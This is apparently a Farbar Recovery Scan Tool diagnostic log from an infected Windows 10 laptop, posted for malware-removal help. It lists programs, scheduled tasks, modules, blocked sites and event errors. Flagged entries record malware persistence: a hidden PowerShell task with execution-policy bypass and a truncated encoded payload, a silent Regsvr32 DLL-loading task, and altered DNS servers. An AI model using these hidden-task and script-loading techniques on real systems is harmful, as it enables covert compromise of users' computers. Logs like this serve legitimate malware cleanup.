Office 16 Click-to-Run Licensing Component (Version: 16.0.6729.1019 - Microsoft Corporation) Hidden
Office 16 Click-to-Run Localization Component (x32 Version: 16.0.6729.1019 - Microsoft Corporation) Hidden
Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 6.3.370.87 - Realtek Semiconductor Corp.)
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 10.1.505.2015 - Realtek)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.7548 - Realtek Semiconductor Corp.)
Skype Click to Call (HKLM-x32\...\{6D1221A9-17BF-4EC0-81F2-27D30EC30701}) (Version: 8.0.0.9103 - Microsoft Corporation)
Skype™ 7.18 (HKLM-x32\...\{FC965A47-4839-40CA-B618-18F486F042C6}) (Version: 7.18.103 - Skype Technologies S.A.)
Spybot - Search & Destroy (HKLM-x32\...\{B4092C6D-E886-4CB2-BA68-FE5A99D31DE7}_is1) (Version: 2.4.40 - Safer-Networking Ltd.)
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
swMSM (x32 Version: 12.0.0.1 - Adobe Systems, Inc) Hidden
Synaptics ClickPad Driver (HKLM\...\SynTPDeinstKey) (Version: 19.2.4.0 - Synaptics Incorporated)
Terraria (HKLM\...\Steam App 105600) (Version: - Re-Logic)
Tree of Savior (English Ver.) (HKLM\...\Steam App 372000) (Version: - IMCGAMES Co.,Ltd.)
Tweaking.com - Registry Backup (HKLM-x32\...\Tweaking.com - Registry Backup) (Version: 3.4.1 - Tweaking.com)
WeatherBug® (HKLM-x32\...\WeatherBug®) (Version: 10.0.7.4 - Earth Networks, Inc.)

==================== Custom CLSID (Whitelisted): ==========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

CustomCLSID: HKU\S-1-5-21-4202283924-1420085414-670275171-1001_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\localserver32 -> C:\Users\nikki\AppData\Local\Microsoft\OneDrive\17.3.6302.0225\FileCoAuth.exe (Microsoft Corporation)

==================== Scheduled Tasks (Whitelisted) =============

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

Task: {1113F225-EA59-49C7-ADEC-2151FD0CDA41} - System32\Tasks\UpdaterEX => C:\Users\nikki\AppData\Roaming\UpdaterEX\UpdateProc\UpdateTask.exe [2013-04-12] () <==== ATTENTION
Task: {178246DE-5875-49D7-AA4E-983EE8820CBF} - System32\Tasks\Hewlett-Packard\HP Active Health\HP Active Health Scan (HPSA) => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPActiveHealth\ActiveHealth.exe [2016-03-02] (Hewlett-Packard)
Task: {194FB51B-B282-4D4A-961B-43B6CF9DDD43} - System32\Tasks\Hewlett-Packard\HP CoolSense\HP CoolSense Start at Logon => C:\Program Files (x86)\Hewlett-Packard\HP CoolSense\CoolSense.exe [2015-05-21] (Hewlett-Packard Development Company, L.P.)
Task: {1B87FF70-D124-4469-AC89-D97DD80E3F13} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-12-31] (Google Inc.)
Task: {36F783D3-308E-4FB5-A5D6-40A5CCA64D5F} - System32\Tasks\Hewlett-Packard\HP Support Assistant\WarrantyChecker => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPWarrantyCheck\HPWarrantyChecker.exe [2016-04-22] (HP Inc.)
Task: {3C66FB8E-0E8B-4B66-A74F-79D5BCA3AF0B} - System32\Tasks\Microsoft\Office\Office Automatic Updates => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [2016-04-24] (Microsoft Corporation)
Task: {3F8311F7-E3FB-4FC4-87F7-46C70F6B8AB9} - System32\Tasks\Adobe Flash Player Updater => C:\WINDOWS\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2016-04-07] (Adobe Systems Incorporated)
Task: {4811CB4B-5277-4698-A070-214D62046769} - System32\Tasks\Adobe Acrobat Update Task => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [2015-12-14] (Adobe Systems Incorporated)
Task: {6CCE566E-8C50-4631-9441-3FBB61F6FFFA} - System32\Tasks\McAfee\McAfee Auto Maintenance Task Agent
Task: {7FC5AEFE-A8A3-4F4C-80C0-02128CD8405A} - System32\Tasks\Hewlett-Packard\HP Support Assistant\PC Health Analysis Install => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\HPSF.exe [2016-02-18] (Hewlett-Packard Company)
Task: {826D791E-012F-4E45-85D0-5749C1594103} - System32\Tasks\McAfeeLogon => C:\Program Files\Common Files\McAfee\Platform\McUICnt.exe [2016-03-10] (McAfee, Inc.)
Task: {85FC28A2-E6FD-4771-9FFB-AADC02BFC25E} - System32\Tasks\Hewlett-Packard\HP Support Assistant\PC Health Analysis => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\HPSF.exe [2016-02-18] (Hewlett-Packard Company)
Task: {8724EFE7-4DFD-4CFC-A9E7-53D8A621B916} - System32\Tasks\Safer-Networking\Spybot - Search and Destroy\Scan the system => C:\Program Files (x86)\Spybot - Search & Destroy 2\SDScan.exe [2014-06-24] (Safer-Networking Ltd.)
Task: {8ECF519B-702A-4470-894E-C7AFAB1D3C3C} - System32\Tasks\Hewlett-Packard\HP Support Assistant\WarrantyChecker_DeviceScan => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPWarrantyCheck\HPWarrantyChecker.exe [2016-04-22] (HP Inc.)
Task: {90A1C02A-082F-4620-8C9F-37336BEA3261} - System32\Tasks\Safer-Networking\Spybot - Search and Destroy\Check for updates => C:\Program Files (x86)\Spybot - Search & Destroy 2\SDUpdate.exe [2014-06-27] (Safer-Networking Ltd.)
Task: {9ECBD792-81FE-482D-921A-7980FD7A1BCC} - System32\Tasks\Safer-Networking\Spybot - Search and Destroy\Refresh immunization => C:\Program Files (x86)\Spybot - Search & Destroy 2\SDImmunize.exe [2014-06-24] (Safer-Networking Ltd.)
Task: {9FA5458F-A4B3-4476-A24C-DB276B8FA302} - System32\Tasks\{0E0A7F47-7D0D-7D7F-0B11-0E7F0F051108} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcA (the data entry has 9428 more characters). <==== ATTENTION
Task: {A25D6DEB-415F-4422-A866-D0BE763E383C} - System32\Tasks\Intel Security DAT Reputation (AMCore) Post DAT update endpoint safety pulse => C:\Program Files\Common Files\McAfee\AMContent\scanners\x86_64\datrep\54.0\mcdatrep.exe [2016-01-27] (McAfee, Inc.)
Task: {A74D85F4-5228-4C1A-9FD9-4328301439D0} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Active Health Launcher => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPActiveHealth\ActiveHealth.exe [2016-03-02] (Hewlett-Packard)
Task: {AF479F6E-E8EF-46C4-BFB2-3B1A17F3FFA8} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Support Assistant Quick Start => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\HPSF.exe [2016-02-18] (Hewlett-Packard Company)
Task: {BAF78DBD-B516-4D69-8F4D-FE31B74CB321} - System32\Tasks\McAfee\McAfee Idle Detection Task
Task: {C5A46A79-4C63-4735-8B8C-9D96A4E3FB3B} - System32\Tasks\Intel Security DAT Reputation (AMCore) periodic endpoint safety pulse => C:\Program Files\Common Files\McAfee\AMContent\scanners\x86_64\datrep\54.0\mcdatrep.exe [2016-01-27] (McAfee, Inc.)
Task: {CCC57E15-5F5E-40B9-848C-6ADAAFD64E64} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-12-31] (Google Inc.)
Task: {DA112266-BA51-406E-8FA1-0E100D95431E} - System32\Tasks\{FE5715A3-8331-3758-820E-049D9892433D} => Regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\44432c61\45604e7b.dll" <==== ATTENTION
Task: {DD3A3525-8E4C-4B9C-A8E2-42386E9256C3} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Support Solutions Framework Updater => C:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\Modules\HPSSFUpdater.exe [2016-03-07] (Hewlett-Packard)
Task: {E07B1085-7B4C-47DD-B430-969EA5028A14} - System32\Tasks\DropboxOEM => C:\Program Files (x86)\Dropbox\DropboxOEM\DropboxOEM.exe [2015-06-19] ()
Task: {E194CDFF-D24D-490E-B57B-7C7B498E6971} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [2016-04-24] (Microsoft Corporation)
Task: {F0AC7F54-B486-477F-BEE8-28E190BCC8A4} - System32\Tasks\CCleanerSkipUAC => C:\Program Files\CCleaner\CCleaner.exe [2015-12-08] (Piriform Ltd)
Task: {F6D9F979-FEA0-4C35-AB57-80EBEAA81D4C} - System32\Tasks\Microsoft\Windows\RemovalTools\MRT_HB => C:\WINDOWS\system32\MRT.exe [2016-04-14] (Microsoft Corporation)
Task: {FCCBEF67-0E36-442B-A75C-D6300071BF54} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Support Solutions Framework Report => C:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\Modules\HPSFReport.exe [2016-04-06] (Hewlett-Packard)
Task: {FD6BB1F6-C3E3-48E6-88AE-F596C3BF57D4} - System32\Tasks\YCMServiceAgent => C:\Program Files (x86)\CyberLink\YouCam6\YouCamService6.exe

(If an entry is included in the fixlist, the task (.job) file will be moved. The file which is running by the task will not be moved.)

Task: C:\WINDOWS\Tasks\Adobe Flash Player Updater.job => C:\WINDOWS\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe
Task: C:\WINDOWS\Tasks\CreateExplorerShellUnelevatedTask.job => C:\WINDOWS\explorer.exe
Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
Task: C:\WINDOWS\Tasks\UpdaterEX.job =>

==================== Shortcuts =============================

(The entries could be listed to be restored or removed.)

ShortcutWithArgument: C:\Users\nikki\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\AmazonShopping.lnk -> C:\Program Files (x86)\Hewlett-Packard\Shared\WizLink.exe () -> hxxp://www.amazon.com/gp/bit/amazonbookmark.html?tag=hp2-desktop-us-20&partner=HP
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Priceline.com.lnk -> C:\Program Files (x86)\Hewlett-Packard\Shared\WizLink.exe () -> hxxp://www.priceline.com/?refid=PLHBC6240OPQ&refclickid=square

==================== Loaded Modules (Whitelisted) ==============

2015-10-30 02:18 - 2015-10-30 02:18 - 00185856 _____ () C:\WINDOWS\SYSTEM32\ism32k.dll
2016-01-22 21:45 - 2011-03-31 08:47 - 00023040 _____ () C:\WINDOWS\System32\xrhk2alm.dll
2016-01-22 21:45 - 2011-05-12 17:14 - 15070720 _____ () C:\WINDOWS\system32\spool\DRIVERS\x64\3\xrhk2aRC.DLL
2016-04-12 22:05 - 2016-03-29 05:20 - 02656952 _____ () C:\WINDOWS\system32\CoreUIComponents.dll
2016-04-12 22:05 - 2016-03-29 05:20 - 02656952 _____ () C:\WINDOWS\System32\CoreUIComponents.dll
2016-03-15 08:45 - 2016-04-24 16:25 - 08919232 _____ () C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesX64\Microsoft Office\Office16\1033\GrooveIntlResource.dll
2016-04-12 20:39 - 2016-04-01 21:58 - 00591360 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll
2016-04-12 22:04 - 2016-04-01 21:59 - 02483200 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.BackgroundTask.dll
2016-01-16 01:04 - 2016-01-16 01:04 - 00093696 _____ () C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\Windows.UI.Shell.SharedUtilities.dll
2016-04-12 20:39 - 2016-04-01 22:25 - 00472064 _____ () C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\QuickActions.dll
2016-04-12 20:39 - 2016-04-01 22:26 - 00674816 _____ () C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\MtcUvc.dll
2016-04-12 22:04 - 2016-04-01 22:03 - 07992832 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\CortanaApi.dll
2016-04-12 22:04 - 2016-04-01 22:00 - 00936960 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Actions.dll
2016-04-12 22:04 - 2016-04-01 22:02 - 04089856 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\RemindersUI.dll
2016-04-18 17:26 - 2016-04-18 17:27 - 00144384 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.15.20002.0_x86__8wekyb3d8bbwe\SkypeHost.exe
2015-12-31 00:42 - 2016-04-24 14:24 - 00172224 _____ () C:\Program Files\Common Files\Microsoft Shared\ClickToRun\ApiClient.dll
2016-01-20 19:31 - 2016-01-20 19:31 - 03746816 _____ () C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1601.49020.0_x64__8wekyb3d8bbwe\Calculator.exe
2015-12-31 01:00 - 2015-12-31 01:00 - 00258560 _____ () C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1601.49020.0_x64__8wekyb3d8bbwe\StoreRatingPromotion.dll
2016-03-29 16:09 - 2016-03-29 16:10 - 00016896 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.325.12390.0_x64__8wekyb3d8bbwe\Microsoft.Photos.exe
2016-03-29 16:09 - 2016-03-29 16:10 - 17535488 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.325.12390.0_x64__8wekyb3d8bbwe\Microsoft.Photos.dll
2016-03-04 11:56 - 2016-03-04 11:59 - 00291328 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.325.12390.0_x64__8wekyb3d8bbwe\StoreRatingPromotion.dll
2016-05-03 18:02 - 2016-05-03 18:03 - 00173056 _____ () C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.9.5030.0_x64__8wekyb3d8bbwe\CellNativeClientUniversal.dll
2016-04-18 17:26 - 2016-04-18 17:27 - 00141312 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.15.20002.0_x86__8wekyb3d8bbwe\SkypeBackgroundTasks.dll
2016-04-18 17:26 - 2016-04-18 17:27 - 22284800 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.15.20002.0_x86__8wekyb3d8bbwe\SkyWrap.dll
2016-05-04 16:12 - 2014-05-13 12:04 - 00109400 _____ () C:\Program Files (x86)\Spybot - Search & Destroy 2\snlThirdParty150.bpl
2016-05-04 16:12 - 2014-05-13 12:04 - 00167768 _____ () C:\Program Files (x86)\Spybot - Search & Destroy 2\snlFileFormats150.bpl
2016-05-04 16:12 - 2014-05-13 12:04 - 00416600 _____ () C:\Program Files (x86)\Spybot - Search & Destroy 2\DEC150.bpl
2016-05-04 16:12 - 2012-08-23 10:38 - 00574840 _____ () C:\Program Files (x86)\Spybot - Search & Destroy 2\sqlite3.dll
2016-05-04 16:12 - 2012-04-03 17:06 - 00565640 _____ () C:\Program Files (x86)\Spybot - Search & Destroy 2\av\BDSmartDB.dll

==================== Alternate Data Streams (Whitelisted) =========

(If an entry is included in the fixlist, only the ADS will be removed.)


==================== Safe Mode (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The "AlternateShell" will be restored.)

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MCODS => ""=""
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\mcpltsvc => ""=""
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mcapexe => ""=""
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\McMPFSvc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\McNaiAnn => ""=""
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MCODS => ""=""
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mcpltsvc => ""=""
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfeaack => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfeaack.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfeavfk => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfeavfk.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfefire => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfefirek => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfefirek.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfehidk => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfehidk.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfemms => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfetdi2k => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfetdi2k.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\mfevtp => ""="Service"

==================== EXE Association (Whitelisted) ===============

(If an entry is included in the fixlist, the registry item will be restored to default or removed.)


==================== Internet Explorer trusted/restricted ===============

(If an entry is included in the fixlist, it will be removed from the registry.)

IE restricted site: HKU\.DEFAULT\...\007guard.com -> install.007guard.com
IE restricted site: HKU\.DEFAULT\...\008i.com -> 008i.com
IE restricted site: HKU\.DEFAULT\...\008k.com -> www.008k.com
IE restricted site: HKU\.DEFAULT\...\00hq.com -> www.00hq.com
IE restricted site: HKU\.DEFAULT\...\010402.com -> 010402.com
IE restricted site: HKU\.DEFAULT\...\032439.com -> 80gw6ry3i3x3qbrkwhxhw.032439.com
IE restricted site: HKU\.DEFAULT\...\0scan.com -> www.0scan.com
IE restricted site: HKU\.DEFAULT\...\1-2005-search.com -> www.1-2005-search.com
IE restricted site: HKU\.DEFAULT\...\1-domains-registrations.com -> www.1-domains-registrations.com
IE restricted site: HKU\.DEFAULT\...\1000gratisproben.com -> www.1000gratisproben.com
IE restricted site: HKU\.DEFAULT\...\1001namen.com -> www.1001namen.com
IE restricted site: HKU\.DEFAULT\...\100888290cs.com -> mir.100888290cs.com
IE restricted site: HKU\.DEFAULT\...\100sexlinks.com -> www.100sexlinks.com
IE restricted site: HKU\.DEFAULT\...\10sek.com -> www.10sek.com
IE restricted site: HKU\.DEFAULT\...\12-26.net -> user1.12-26.net
IE restricted site: HKU\.DEFAULT\...\12-27.net -> user1.12-27.net
IE restricted site: HKU\.DEFAULT\...\123fporn.info -> www.123fporn.info
IE restricted site: HKU\.DEFAULT\...\123haustiereundmehr.com -> www.123haustiereundmehr.com
IE restricted site: HKU\.DEFAULT\...\123moviedownload.com -> www.123moviedownload.com
IE restricted site: HKU\.DEFAULT\...\123simsen.com -> www.123simsen.com

There are 7865 more sites.

IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\007guard.com -> install.007guard.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\008i.com -> 008i.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\008k.com -> www.008k.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\00hq.com -> www.00hq.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\010402.com -> 010402.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\032439.com -> 80gw6ry3i3x3qbrkwhxhw.032439.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\0scan.com -> www.0scan.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\1-2005-search.com -> www.1-2005-search.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\1-domains-registrations.com -> www.1-domains-registrations.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\1000gratisproben.com -> www.1000gratisproben.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\1001namen.com -> www.1001namen.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\100888290cs.com -> mir.100888290cs.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\100sexlinks.com -> www.100sexlinks.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\10sek.com -> www.10sek.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\12-26.net -> user1.12-26.net
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\12-27.net -> user1.12-27.net
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\123fporn.info -> www.123fporn.info
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\123haustiereundmehr.com -> www.123haustiereundmehr.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\123moviedownload.com -> www.123moviedownload.com
IE restricted site: HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\123simsen.com -> www.123simsen.com

There are 7865 more sites.


==================== Hosts content: ===============================

(If needed Hosts: directive could be included in the fixlist to reset Hosts.)

2015-07-10 06:04 - 2016-04-17 14:43 - 00000851 ____N C:\WINDOWS\system32\Drivers\etc\hosts


==================== Other Areas ============================

(Currently there is no automatic fix for this section.)

HKU\S-1-5-21-4202283924-1420085414-670275171-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\nikki\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
DNS Servers: 82.163.143.171 - 82.163.142.173
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall is enabled.

==================== MSCONFIG/TASK MANAGER disabled items ==

(Currently there is no automatic fix for this section.)

HKLM\...\StartupApproved\Run: => "RTHDVCPL"
HKLM\...\StartupApproved\Run: => "AccelerometerSysTrayApplet"
HKLM\...\StartupApproved\Run32: => "HPMessageService"
HKLM\...\StartupApproved\Run32: => "PowerDVD14Agent"
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\StartupApproved\Run: => "WeatherBug"
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\StartupApproved\Run: => "Steam"
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\StartupApproved\Run: => "Skype"
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\StartupApproved\Run: => "OneDrive"

==================== FirewallRules (Whitelisted) ===============

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

FirewallRules: [vm-monitoring-nb-session] => (Allow) LPort=139
FirewallRules: [{2287064C-EFF0-4761-AD58-AFE0087B1DAD}] => (Allow) C:\Program Files (x86)\Skype\Phone\Skype.exe
FirewallRules: [{7695CC61-C743-4608-8D6B-392669787B82}] => (Allow) C:\Program Files (x86)\Steam\bin\steamwebhelper.exe
FirewallRules: [{6CD77137-F184-4FE8-B757-9AB747C3ABAF}] => (Allow) C:\Program Files (x86)\Steam\bin\steamwebhelper.exe
FirewallRules: [{19122825-59F6-4FDB-BC80-143CD7A7313D}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe
FirewallRules: [{062345D0-7597-47BC-85F6-7DE71D92264C}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe
FirewallRules: [{01862696-BF9C-4CA1-95DC-42D9D62100FF}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{58FF2AEE-90AC-4F61-A4A5-62E5F978100B}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{0DC24EA2-397E-40EA-8674-49E667EEB3F1}] => (Allow) C:\Program Files\Common Files\McAfee\Platform\McSvcHost\McSvHost.exe
FirewallRules: [{D67DF928-B298-4651-AAFE-D45797EB6EFB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Don't Starve Together\bin\dontstarve_steam.exe
FirewallRules: [{D4625155-6837-4C8A-8C1F-87DC92B8D541}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Don't Starve Together\bin\dontstarve_steam.exe
FirewallRules: [{E40CDDD6-35B1-4702-A405-19A14AD3DC7A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Terraria\Terraria.exe
FirewallRules: [{30FF507F-7329-4E87-81BF-56D40CA561BA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Terraria\Terraria.exe
FirewallRules: [{B1FB1EF0-13EA-4F0F-8012-18B382AAC6D7}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
StandardProfile\AuthorizedApplications: [C:\Program Files (x86)\Spybot - Search & Destroy 2\SDTray.exe] => Enabled:Spybot - Search & Destroy tray access
StandardProfile\AuthorizedApplications: [C:\Program Files (x86)\Spybot - Search & Destroy 2\SDFSSvc.exe] => Enabled:Spybot-S&D 2 Scanner Service
StandardProfile\AuthorizedApplications: [C:\Program Files (x86)\Spybot - Search & Destroy 2\SDUpdate.exe] => Enabled:Spybot-S&D 2 Updater
StandardProfile\AuthorizedApplications: [C:\Program Files (x86)\Spybot - Search & Destroy 2\SDUpdSvc.exe] => Enabled:Spybot-S&D 2 Background update service

==================== Restore Points =========================

12-04-2016 22:14:23 Windows Update
28-04-2016 18:54:37 Installed Microsoft XNA Framework Redistributable 4.0

==================== Faulty Device Manager Devices =============


==================== Event log errors: =========================

Application errors:
==================
Error: (05/04/2016 04:56:36 PM) (Source: Application Hang) (EventID: 1002) (User: )
Description: The program SDFiles.exe version 2.4.40.135 stopped interacting with Windows and was closed. To see if more information about the problem is available, check the problem history in the Security and Maintenance control panel.

Process ID: 49c

Start Time: 01d1a64c1b6f9429

Termination Time: 15

Application Path: C:\Program Files (x86)\Spybot - Search & Destroy 2\SDFiles.exe

Report Id: 01b5cbb4-1243-11e6-9bed-606dc7f07758

Faulting package full name:

Faulting package-relative application ID:

Error: (05/04/2016 04:04:14 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: AdaptiveSleepService.exe, version: 0.0.0.0, time stamp: 0x559b2d64
Faulting module name: AdaptiveSleepService.exe, version: 0.0.0.0, time stamp: 0x559b2d64
Exception code: 0xc0000005
Fault offset: 0x000000000000b9f4
Faulting process id: 0x1f70
Faulting application start time: 0xAdaptiveSleepService.exe0
Faulting application path: AdaptiveSleepService.exe1
Faulting module path: AdaptiveSleepService.exe2
Report Id: AdaptiveSleepService.exe3
Faulting package full name: AdaptiveSleepService.exe4
Faulting package-relative application ID: AdaptiveSleepService.exe5

Error: (05/02/2016 07:14:05 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: DIRK-V2)
Description: Activation of app Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy!App failed with error: -2144927141 See the Microsoft-Windows-TWinUI/Operational log for additional information.

Error: (05/02/2016 12:16:00 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: DIRK-V2)
Description: Activation of app Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy!App failed with error: -2144927141 See the Microsoft-Windows-TWinUI/Operational log for additional information.

Error: (05/02/2016 12:15:57 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: DIRK-V2)
Description: Activation of app microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1 failed with error: -2144927141 See the Microsoft-Windows-TWinUI/Operational log for additional information.

Error: (04/30/2016 07:51:00 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: DIRK-V2)
Description: Activation of app Microsoft.Windows.Photos_8wekyb3d8bbwe!App failed with error: -2147023170 See the Microsoft-Windows-TWinUI/Operational log for additional information.

Error: (04/28/2016 06:54:51 PM) (Source: Microsoft-Windows-CAPI2) (EventID: 513) (User: )
Description: Cryptographic Services failed while processing the OnIdentity() call in the System Writer Object.

Details:
AddLegacyDriverFiles: Unable to back up image of binary Microsoft Link-Layer Discovery Protocol.

System Error:
Access is denied.
.

Error: (04/19/2016 04:41:59 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: AdaptiveSleepService.exe, version: 0.0.0.0, time stamp: 0x559b2d64
